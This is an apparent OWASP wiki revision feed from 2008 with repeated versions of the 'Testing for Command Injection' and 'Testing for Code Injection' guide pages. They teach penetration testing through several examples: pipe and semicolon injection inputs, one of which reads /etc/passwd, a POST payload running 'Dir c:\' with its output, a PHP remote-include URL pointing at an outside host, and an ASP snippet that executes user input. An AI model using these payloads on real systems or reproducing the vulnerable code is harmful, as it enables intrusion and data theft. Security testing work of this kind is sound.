&lt;br /&gt;
Doc=Doc1.pdf+|+Dir c:\&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
If the application doesn't validate the request, we can obtain the following result:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Exec Results for 'cmd.exe /c type &amp;quot;C:\httpd\public\doc\&amp;quot;Doc=Doc1.pdf+|+Dir c:\'&lt;br /&gt;
Output...&lt;br /&gt;
Il volume nell'unità C non ha etichetta.&lt;br /&gt;
Numero di serie Del volume: 8E3F-4B61&lt;br /&gt;
Directory of c:\&lt;br /&gt;
 18/10/2006 00:27 2,675 Dir_Prog.txt&lt;br /&gt;
 18/10/2006 00:28 3,887 Dir_ProgFile.txt&lt;br /&gt;
 16/11/2006 10:43&lt;br /&gt;
    Doc&lt;br /&gt;
    11/11/2006 17:25&lt;br /&gt;
       Documents and Settings&lt;br /&gt;
       25/10/2006 03:11&lt;br /&gt;
          I386&lt;br /&gt;
          14/11/2006 18:51&lt;br /&gt;
	     h4ck3r&lt;br /&gt;
	     30/09/2005 21:40 25,934 &lt;br /&gt;
		OWASP1.JPG&lt;br /&gt;
		03/11/2006 18:29&lt;br /&gt;
			Prog&lt;br /&gt;
			18/11/2006 11:20&lt;br /&gt;
				Program Files&lt;br /&gt;
				16/11/2006 21:12&lt;br /&gt;
					Software&lt;br /&gt;
					24/10/2006 18:25&lt;br /&gt;
						Setup&lt;br /&gt;
						24/10/2006 23:37&lt;br /&gt;
							Technologies&lt;br /&gt;
							18/11/2006 11:14	&lt;br /&gt;
							3 File 32,496 byte&lt;br /&gt;
							13 Directory 6,921,269,248 byte disponibili&lt;br /&gt;
							Return code: 0&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
In this case, we have successfully performed an OS injection attack.&lt;br /&gt;
&lt;br /&gt;
== Gray Box testing == &lt;br /&gt;
&amp;lt;b&amp;gt;Sanitization&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
The URL and form data needs to be sanitized for invalid characters.  A “blacklist” of characters is an option but it may be difficult to think of all of the characters to validate against. Also there may be some that were not discovered as of yet.  A “white list” containing only allowable characters should be created to validate the user input.  Characters that were missed as well as undiscovered threats should be eliminated by this list.&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;b&amp;gt;Permissions&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
The web application and its components should be running under strict permissions that do not allow operating system command execution. Try to verify all these informations to test from a Gray Box point of view&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
'''White papers'''&amp;lt;br&amp;gt;&lt;br /&gt;
* http://www.securityfocus.com/infocus/1709&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Tools'''&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* OWASP WebScarab - http://www.owasp.org/index.php/Category:OWASP_WebScarab_Project &amp;lt;br&amp;gt; &lt;br /&gt;
* OWASP WebGoat - http://www.owasp.org/index.php/Category:OWASP_WebGoat_Project&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{{Category:OWASP Testing Project AoC}}&lt;/div&gt;</summary>
		<author><name>Marco</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_Command_Injection_(OTG-INPVAL-013)&amp;diff=37013</id>
		<title>Testing for Command Injection (OTG-INPVAL-013)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_Command_Injection_(OTG-INPVAL-013)&amp;diff=37013"/>
				<updated>2008-08-23T07:53:22Z</updated>
		
		<summary type="html">&lt;p&gt;Marco: /* Short Description of the Issue */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[http://www.owasp.org/index.php/Web_Application_Penetration_Testing_AoC Up]]&amp;lt;br&amp;gt;&lt;br /&gt;
{{Template:OWASP Testing Guide v2}}&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
In this paragraph we describe how to test an application for OS command injection. We try try to inject an OS command throughout an HTTP request to the application.&lt;br /&gt;
&lt;br /&gt;
== Short Description of the Issue == &lt;br /&gt;
OS command injection is a technique used via a web interface in order to execute OS commands on the web server.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The user supplies operating system commands through a web interface in order to execute OS commands.  Any web interface that is not properly sanitized is subject to this exploit.  With the ability to execute OS commands, the user can upload malicious programs or even obtain passwords.  OS command injection is preventable when security is emphasized during the design and development of applications.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
When viewing a file in a web application the file name is often shown in the URL.  Perl allows piping data from a process into an open statement.  The user can simply append the Pipe symbol “|” onto the end of the filename.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Example URL before alteration:&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;http://sensitive/cgi-bin/userData.pl?doc=user1.txt&amp;lt;/nowiki&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Example URL modified:&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;http://sensitive/cgi-bin/userData.pl?doc=/bin/ls|&amp;lt;/nowiki&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
This will execute the command “/bin/ls”.&amp;lt;br&amp;gt;&lt;br /&gt;
Appending a semicolon to the end of a URL for a .PHP page followed by an operating system command, will execute the command.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Example:&amp;lt;br&amp;gt;&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;http://sensitive/something.php?dir=%3Bcat%20/etc/passwd&amp;lt;/nowiki&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Example'''&amp;lt;br&amp;gt;&lt;br /&gt;
Consider the case of an application that contains a set of documents that you can browse from the Internet. If you fire up WebScarab, you can obtain a POST HTTP like the following:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
POST http://www.example.com/public/doc HTTP/1.1&lt;br /&gt;
Host: www.example.com&lt;br /&gt;
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1) Gecko/20061010 FireFox/2.0&lt;br /&gt;
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5&lt;br /&gt;
Accept-Language: it-it,it;q=0.8,en-us;q=0.5,en;q=0.3&lt;br /&gt;
Accept-Encoding: gzip,deflate&lt;br /&gt;
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7&lt;br /&gt;
Keep-Alive: 300&lt;br /&gt;
Proxy-Connection: keep-alive&lt;br /&gt;
Referer: http://127.0.0.1/WebGoat/attack?Screen=20&lt;br /&gt;
Cookie: JSESSIONID=295500AD2AAEEBEDC9DB86E34F24A0A5&lt;br /&gt;
Authorization: Basic T2Vbc1Q9Z3V2Tc3e=&lt;br /&gt;
Content-Type: application/x-www-form-urlencoded&lt;br /&gt;
Content-length: 33&lt;br /&gt;
&lt;br /&gt;
Doc=Doc1.pdf&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
In this post we notice how the application retrieve the public documentations. Now we can test if it is possible to add an operative system command to inject in the POST HTTP. Try the following:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
POST http://www.example.com/public/doc HTTP/1.1&lt;br /&gt;
Host: www.example.com&lt;br /&gt;
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1) Gecko/20061010 FireFox/2.0&lt;br /&gt;
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5&lt;br /&gt;
Accept-Language: it-it,it;q=0.8,en-us;q=0.5,en;q=0.3&lt;br /&gt;
Accept-Encoding: gzip,deflate&lt;br /&gt;
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7&lt;br /&gt;
Keep-Alive: 300&lt;br /&gt;
Proxy-Connection: keep-alive&lt;br /&gt;
Referer: http://127.0.0.1/WebGoat/attack?Screen=20&lt;br /&gt;
Cookie: JSESSIONID=295500AD2AAEEBEDC9DB86E34F24A0A5&lt;br /&gt;
Authorization: Basic T2Vbc1Q9Z3V2Tc3e=&lt;br /&gt;
Content-Type: application/x-www-form-urlencoded&lt;br /&gt;
Content-length: 33&lt;br /&gt;
&lt;br /&gt;
Doc=Doc1.pdf+|+Dir c:\&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
If the application doesn't validate the request, we can obtain the following result:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Exec Results for 'cmd.exe /c type &amp;quot;C:\httpd\public\doc\&amp;quot;Doc=Doc1.pdf+|+Dir c:\'&lt;br /&gt;
Output...&lt;br /&gt;
Il volume nell'unità C non ha etichetta.&lt;br /&gt;
Numero di serie Del volume: 8E3F-4B61&lt;br /&gt;
Directory of c:\&lt;br /&gt;
 18/10/2006 00:27 2,675 Dir_Prog.txt&lt;br /&gt;
 18/10/2006 00:28 3,887 Dir_ProgFile.txt&lt;br /&gt;
 16/11/2006 10:43&lt;br /&gt;
    Doc&lt;br /&gt;
    11/11/2006 17:25&lt;br /&gt;
       Documents and Settings&lt;br /&gt;
       25/10/2006 03:11&lt;br /&gt;
          I386&lt;br /&gt;
          14/11/2006 18:51&lt;br /&gt;
	     h4ck3r&lt;br /&gt;
	     30/09/2005 21:40 25,934 &lt;br /&gt;
		OWASP1.JPG&lt;br /&gt;
		03/11/2006 18:29&lt;br /&gt;
			Prog&lt;br /&gt;
			18/11/2006 11:20&lt;br /&gt;
				Program Files&lt;br /&gt;
				16/11/2006 21:12&lt;br /&gt;
					Software&lt;br /&gt;
					24/10/2006 18:25&lt;br /&gt;
						Setup&lt;br /&gt;
						24/10/2006 23:37&lt;br /&gt;
							Technologies&lt;br /&gt;
							18/11/2006 11:14	&lt;br /&gt;
							3 File 32,496 byte&lt;br /&gt;
							13 Directory 6,921,269,248 byte disponibili&lt;br /&gt;
							Return code: 0&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
In this case we have obtained an OS Injection.&lt;br /&gt;
&lt;br /&gt;
== Gray Box testing == &lt;br /&gt;
&amp;lt;b&amp;gt;Sanitization&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
The URL and form data needs to be sanitized for invalid characters.  A “blacklist” of characters is an option but it may be difficult to think of all of the characters to validate against. Also there may be some that were not discovered as of yet.  A “white list” containing only allowable characters should be created to validate the user input.  Characters that were missed as well as undiscovered threats should be eliminated by this list.&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;b&amp;gt;Permissions&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
The web application and its components should be running under strict permissions that do not allow operating system command execution. Try to verify all these informations to test from a Gray Box point of view&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
'''White papers'''&amp;lt;br&amp;gt;&lt;br /&gt;
* http://www.securityfocus.com/infocus/1709&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Tools'''&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* OWASP WebScarab - http://www.owasp.org/index.php/Category:OWASP_WebScarab_Project &amp;lt;br&amp;gt; &lt;br /&gt;
* OWASP WebGoat - http://www.owasp.org/index.php/Category:OWASP_WebGoat_Project&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{{Category:OWASP Testing Project AoC}}&lt;/div&gt;</summary>
		<author><name>Marco</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_Command_Injection_(OTG-INPVAL-013)&amp;diff=37012</id>
		<title>Testing for Command Injection (OTG-INPVAL-013)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_Command_Injection_(OTG-INPVAL-013)&amp;diff=37012"/>
				<updated>2008-08-23T07:52:22Z</updated>
		
		<summary type="html">&lt;p&gt;Marco: /* Brief Summary */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[http://www.owasp.org/index.php/Web_Application_Penetration_Testing_AoC Up]]&amp;lt;br&amp;gt;&lt;br /&gt;
{{Template:OWASP Testing Guide v2}}&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
In this paragraph we describe how to test an application for OS command injection. We try try to inject an OS command throughout an HTTP request to the application.&lt;br /&gt;
&lt;br /&gt;
== Short Description of the Issue == &lt;br /&gt;
OS Commanding is a technique used via a web interface in order to execute OS commands on the web server.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The user supplies operating system commands through a web interface in order to execute OS commands.  Any web interface that is not properly sanitized is subject to this exploit.  With the ability to execute OS commands, the user can upload malicious programs or even obtain passwords.  OS commanding is preventable when security is emphasized during the design and development of applications.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
When viewing a file in a web application the file name is often shown in the URL.  Perl allows piping data from a process into an open statement.  The user can simply append the Pipe symbol “|” onto the end of the filename.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Example URL before alteration:&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;http://sensitive/cgi-bin/userData.pl?doc=user1.txt&amp;lt;/nowiki&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Example URL modified:&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;http://sensitive/cgi-bin/userData.pl?doc=/bin/ls|&amp;lt;/nowiki&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
This will execute the command “/bin/ls”.&amp;lt;br&amp;gt;&lt;br /&gt;
Appending a semicolon to the end of a URL for a .PHP page followed by an operating system command, will execute the command.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Example:&amp;lt;br&amp;gt;&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;http://sensitive/something.php?dir=%3Bcat%20/etc/passwd&amp;lt;/nowiki&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Example'''&amp;lt;br&amp;gt;&lt;br /&gt;
Consider the case of an application that contains a set of documents that you can browse from the Internet. If you fire up WebScarab, you can obtain a POST HTTP like the following:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
POST http://www.example.com/public/doc HTTP/1.1&lt;br /&gt;
Host: www.example.com&lt;br /&gt;
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1) Gecko/20061010 FireFox/2.0&lt;br /&gt;
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5&lt;br /&gt;
Accept-Language: it-it,it;q=0.8,en-us;q=0.5,en;q=0.3&lt;br /&gt;
Accept-Encoding: gzip,deflate&lt;br /&gt;
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7&lt;br /&gt;
Keep-Alive: 300&lt;br /&gt;
Proxy-Connection: keep-alive&lt;br /&gt;
Referer: http://127.0.0.1/WebGoat/attack?Screen=20&lt;br /&gt;
Cookie: JSESSIONID=295500AD2AAEEBEDC9DB86E34F24A0A5&lt;br /&gt;
Authorization: Basic T2Vbc1Q9Z3V2Tc3e=&lt;br /&gt;
Content-Type: application/x-www-form-urlencoded&lt;br /&gt;
Content-length: 33&lt;br /&gt;
&lt;br /&gt;
Doc=Doc1.pdf&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
In this post we notice how the application retrieve the public documentations. Now we can test if it is possible to add an operative system command to inject in the POST HTTP. Try the following:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
POST http://www.example.com/public/doc HTTP/1.1&lt;br /&gt;
Host: www.example.com&lt;br /&gt;
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1) Gecko/20061010 FireFox/2.0&lt;br /&gt;
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5&lt;br /&gt;
Accept-Language: it-it,it;q=0.8,en-us;q=0.5,en;q=0.3&lt;br /&gt;
Accept-Encoding: gzip,deflate&lt;br /&gt;
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7&lt;br /&gt;
Keep-Alive: 300&lt;br /&gt;
Proxy-Connection: keep-alive&lt;br /&gt;
Referer: http://127.0.0.1/WebGoat/attack?Screen=20&lt;br /&gt;
Cookie: JSESSIONID=295500AD2AAEEBEDC9DB86E34F24A0A5&lt;br /&gt;
Authorization: Basic T2Vbc1Q9Z3V2Tc3e=&lt;br /&gt;
Content-Type: application/x-www-form-urlencoded&lt;br /&gt;
Content-length: 33&lt;br /&gt;
&lt;br /&gt;
Doc=Doc1.pdf+|+Dir c:\&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
If the application doesn't validate the request, we can obtain the following result:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Exec Results for 'cmd.exe /c type &amp;quot;C:\httpd\public\doc\&amp;quot;Doc=Doc1.pdf+|+Dir c:\'&lt;br /&gt;
Output...&lt;br /&gt;
Il volume nell'unità C non ha etichetta.&lt;br /&gt;
Numero di serie Del volume: 8E3F-4B61&lt;br /&gt;
Directory of c:\&lt;br /&gt;
 18/10/2006 00:27 2,675 Dir_Prog.txt&lt;br /&gt;
 18/10/2006 00:28 3,887 Dir_ProgFile.txt&lt;br /&gt;
 16/11/2006 10:43&lt;br /&gt;
    Doc&lt;br /&gt;
    11/11/2006 17:25&lt;br /&gt;
       Documents and Settings&lt;br /&gt;
       25/10/2006 03:11&lt;br /&gt;
          I386&lt;br /&gt;
          14/11/2006 18:51&lt;br /&gt;
	     h4ck3r&lt;br /&gt;
	     30/09/2005 21:40 25,934 &lt;br /&gt;
		OWASP1.JPG&lt;br /&gt;
		03/11/2006 18:29&lt;br /&gt;
			Prog&lt;br /&gt;
			18/11/2006 11:20&lt;br /&gt;
				Program Files&lt;br /&gt;
				16/11/2006 21:12&lt;br /&gt;
					Software&lt;br /&gt;
					24/10/2006 18:25&lt;br /&gt;
						Setup&lt;br /&gt;
						24/10/2006 23:37&lt;br /&gt;
							Technologies&lt;br /&gt;
							18/11/2006 11:14	&lt;br /&gt;
							3 File 32,496 byte&lt;br /&gt;
							13 Directory 6,921,269,248 byte disponibili&lt;br /&gt;
							Return code: 0&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
In this case we have obtained an OS Injection.&lt;br /&gt;
&lt;br /&gt;
== Gray Box testing == &lt;br /&gt;
&amp;lt;b&amp;gt;Sanitization&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
The URL and form data needs to be sanitized for invalid characters.  A “blacklist” of characters is an option but it may be difficult to think of all of the characters to validate against. Also there may be some that were not discovered as of yet.  A “white list” containing only allowable characters should be created to validate the user input.  Characters that were missed as well as undiscovered threats should be eliminated by this list.&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;b&amp;gt;Permissions&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
The web application and its components should be running under strict permissions that do not allow operating system command execution. Try to verify all these informations to test from a Gray Box point of view&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
'''White papers'''&amp;lt;br&amp;gt;&lt;br /&gt;
* http://www.securityfocus.com/infocus/1709&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Tools'''&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* OWASP WebScarab - http://www.owasp.org/index.php/Category:OWASP_WebScarab_Project &amp;lt;br&amp;gt; &lt;br /&gt;
* OWASP WebGoat - http://www.owasp.org/index.php/Category:OWASP_WebGoat_Project&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{{Category:OWASP Testing Project AoC}}&lt;/div&gt;</summary>
		<author><name>Marco</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_Code_Injection_(OTG-INPVAL-012)&amp;diff=37011</id>
		<title>Testing for Code Injection (OTG-INPVAL-012)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_Code_Injection_(OTG-INPVAL-012)&amp;diff=37011"/>
				<updated>2008-08-23T07:49:38Z</updated>
		
		<summary type="html">&lt;p&gt;Marco: /* Gray Box testing and example */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[http://www.owasp.org/index.php/Web_Application_Penetration_Testing_AoC Up]]&amp;lt;br&amp;gt;&lt;br /&gt;
{{Template:OWASP Testing Guide v2}}&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
 &lt;br /&gt;
This section describes how a tester can check if it is possible to enter code as input on a web page and have it executed by the web server. More information about Code Injection can be found at http://www.owasp.org/index.php/Code_Injection&lt;br /&gt;
&lt;br /&gt;
== Description of the Issue ==&lt;br /&gt;
 &lt;br /&gt;
In code injection testing, a tester submits input that is processed by the web server as dynamic code or as an included file.  These tests can target various server-side scripting engines, e.g.., ASP or PHP. Proper input validation and secure coding practices need to be employed to protect against these attacks.&lt;br /&gt;
&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
 &lt;br /&gt;
'''Testing for PHP Injection vulnerabilities:'''&lt;br /&gt;
&lt;br /&gt;
Using the querystring, the tester can inject code (in this example, a malicious url) to be processed as part of the included file:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;http://www.example.com/uptime.php?pin=http://www.example2.com/packx1/cs.jpg?&amp;amp;cmd=uname%20-a&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Result Expected:'''&lt;br /&gt;
&lt;br /&gt;
The malicious URL is accepted as a parameter for the PHP page, which will later use the value in an included file.&lt;br /&gt;
&lt;br /&gt;
== Gray Box testing and example ==&lt;br /&gt;
&lt;br /&gt;
'''Testing for ASP Code Injection vulnerabilities&lt;br /&gt;
&lt;br /&gt;
Examine ASP code for user input used in execution functions. Can the user enter commands into the Data input field?  Here, the ASP code will save the input to a file and then execute it:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;%&lt;br /&gt;
 If not isEmpty(Request( &amp;quot;Data&amp;quot; ) ) Then&lt;br /&gt;
 Dim fso, f&lt;br /&gt;
 'User input Data is written to a file named data.txt&lt;br /&gt;
 Set fso = CreateObject(&amp;quot;Scripting.FileSystemObject&amp;quot;)&lt;br /&gt;
 Set f = fso.OpenTextFile(Server.MapPath( &amp;quot;data.txt&amp;quot; ), 8, True)&lt;br /&gt;
 f.Write Request(&amp;quot;Data&amp;quot;) &amp;amp; vbCrLf&lt;br /&gt;
 f.close&lt;br /&gt;
 Set f = nothing&lt;br /&gt;
 Set fso = Nothing&lt;br /&gt;
&lt;br /&gt;
 'Data.txt is executed&lt;br /&gt;
 Server.Execute( &amp;quot;data.txt&amp;quot; )&lt;br /&gt;
&lt;br /&gt;
 Else&lt;br /&gt;
 %&amp;gt;&lt;br /&gt;
 &amp;lt;form&amp;gt;&lt;br /&gt;
 &amp;lt;input name=&amp;quot;Data&amp;quot; /&amp;gt;&amp;lt;input type=&amp;quot;submit&amp;quot; name=&amp;quot;Enter Data&amp;quot; /&amp;gt;&lt;br /&gt;
 &amp;lt;/form&amp;gt;&lt;br /&gt;
 &amp;lt;%&lt;br /&gt;
 End If&lt;br /&gt;
 %&amp;gt;)))&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* Security Focus - http://www.securityfocus.com&lt;br /&gt;
&lt;br /&gt;
* Insecure.org - http://www.insecure.org&lt;br /&gt;
&lt;br /&gt;
* Wikipedia - http://www.wikipedia.org&lt;br /&gt;
&lt;br /&gt;
* OWASP Code Review - http://www.owasp.org/index.php/OS_Injection&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
{{Category:OWASP Testing Project AoC}}&lt;/div&gt;</summary>
		<author><name>Marco</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_Code_Injection_(OTG-INPVAL-012)&amp;diff=37010</id>
		<title>Testing for Code Injection (OTG-INPVAL-012)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_Code_Injection_(OTG-INPVAL-012)&amp;diff=37010"/>
				<updated>2008-08-23T07:47:55Z</updated>
		
		<summary type="html">&lt;p&gt;Marco: /* Description of the Issue */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[http://www.owasp.org/index.php/Web_Application_Penetration_Testing_AoC Up]]&amp;lt;br&amp;gt;&lt;br /&gt;
{{Template:OWASP Testing Guide v2}}&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
 &lt;br /&gt;
This section describes how a tester can check if it is possible to enter code as input on a web page and have it executed by the web server. More information about Code Injection can be found at http://www.owasp.org/index.php/Code_Injection&lt;br /&gt;
&lt;br /&gt;
== Description of the Issue ==&lt;br /&gt;
 &lt;br /&gt;
In code injection testing, a tester submits input that is processed by the web server as dynamic code or as an included file.  These tests can target various server-side scripting engines, e.g.., ASP or PHP. Proper input validation and secure coding practices need to be employed to protect against these attacks.&lt;br /&gt;
&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
 &lt;br /&gt;
'''Testing for PHP Injection vulnerabilities:'''&lt;br /&gt;
&lt;br /&gt;
Using the querystring, the tester can inject code (in this example, a malicious url) to be processed as part of the included file:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;http://www.example.com/uptime.php?pin=http://www.example2.com/packx1/cs.jpg?&amp;amp;cmd=uname%20-a&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Result Expected:'''&lt;br /&gt;
&lt;br /&gt;
The malicious URL is accepted as a parameter for the PHP page, which will later use the value in an included file.&lt;br /&gt;
&lt;br /&gt;
== Gray Box testing and example ==&lt;br /&gt;
&lt;br /&gt;
'''Testing for ASP Code Injection vulnerabilities&lt;br /&gt;
&lt;br /&gt;
Examining ASP code for user input used in execution functions, e.g. Can the user enter commands into the Data input field?  Here, the ASP code will save it to file and then execute it:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;%&lt;br /&gt;
 If not isEmpty(Request( &amp;quot;Data&amp;quot; ) ) Then&lt;br /&gt;
 Dim fso, f&lt;br /&gt;
 'User input Data is written to a file named data.txt&lt;br /&gt;
 Set fso = CreateObject(&amp;quot;Scripting.FileSystemObject&amp;quot;)&lt;br /&gt;
 Set f = fso.OpenTextFile(Server.MapPath( &amp;quot;data.txt&amp;quot; ), 8, True)&lt;br /&gt;
 f.Write Request(&amp;quot;Data&amp;quot;) &amp;amp; vbCrLf&lt;br /&gt;
 f.close&lt;br /&gt;
 Set f = nothing&lt;br /&gt;
 Set fso = Nothing&lt;br /&gt;
&lt;br /&gt;
 'Data.txt is executed&lt;br /&gt;
 Server.Execute( &amp;quot;data.txt&amp;quot; )&lt;br /&gt;
&lt;br /&gt;
 Else&lt;br /&gt;
 %&amp;gt;&lt;br /&gt;
 &amp;lt;form&amp;gt;&lt;br /&gt;
 &amp;lt;input name=&amp;quot;Data&amp;quot; /&amp;gt;&amp;lt;input type=&amp;quot;submit&amp;quot; name=&amp;quot;Enter Data&amp;quot; /&amp;gt;&lt;br /&gt;
 &amp;lt;/form&amp;gt;&lt;br /&gt;
 &amp;lt;%&lt;br /&gt;
 End If&lt;br /&gt;
 %&amp;gt;)))&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* Security Focus - http://www.securityfocus.com&lt;br /&gt;
&lt;br /&gt;
* Insecure.org - http://www.insecure.org&lt;br /&gt;
&lt;br /&gt;
* Wikipedia - http://www.wikipedia.org&lt;br /&gt;
&lt;br /&gt;
* OWASP Code Review - http://www.owasp.org/index.php/OS_Injection&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
{{Category:OWASP Testing Project AoC}}&lt;/div&gt;</summary>
		<author><name>Marco</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_Code_Injection_(OTG-INPVAL-012)&amp;diff=37009</id>
		<title>Testing for Code Injection (OTG-INPVAL-012)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_Code_Injection_(OTG-INPVAL-012)&amp;diff=37009"/>
				<updated>2008-08-23T07:46:03Z</updated>
		
		<summary type="html">&lt;p&gt;Marco: /* Brief Summary */&lt;/p&gt;
&lt;hr /&gt;
